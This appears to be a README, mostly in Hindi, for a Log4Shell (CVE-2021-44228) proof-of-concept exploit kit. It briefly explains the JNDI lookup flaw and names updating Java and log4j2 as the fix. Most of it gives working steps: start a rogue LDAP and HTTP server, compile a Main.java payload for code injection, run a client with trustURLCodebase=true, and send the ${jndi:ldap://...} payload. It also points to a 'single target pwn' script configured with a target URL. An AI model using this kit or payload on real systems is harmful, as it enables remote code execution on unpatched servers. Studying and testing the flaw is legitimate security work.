
CVE-2021-44228
यह मूलभूत कमजोरी [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) द्वारा रिपोर्ट की गई थी और [इस लेख (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) द्वारा पैच की गई थी।
हालाँकि, log4j2 नामक जावा की लॉगिंग लाइब्रेरी में (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java) था, जो LDAP जैसे प्रोटोकॉल तक पहुँच की अनुमति देता था, जिसने पुराने जावा संस्करणों में कोड इंजेक्शन की अनुमति दी।
जावा के पैच किए गए संस्करण कोड इंजेक्शन को रोक सकते हैं, लेकिन `JNDILookup` ldap सर्वर पर अनुरोध करता है, जिससे IP लीक हो सकता है।
समाधान **Java** और **log4j2** संस्करणों को अपडेट करना है।
cd http-server && npm install && cd ../ldap-server && npm install
http-server और ldap-server दोनों चलाएँcd http-server && node index.js &
cd ldap-server && node index.js
# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux
javac <Main.java>
# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
gradle jar &&\
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
${jndi:ldap://127.0.0.1:3001/}
NODEP=`pgrep node`
for id in $NODEP; do
kill $id
done
# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py
लाइसेंस फ़ाइल LICENSE में देखें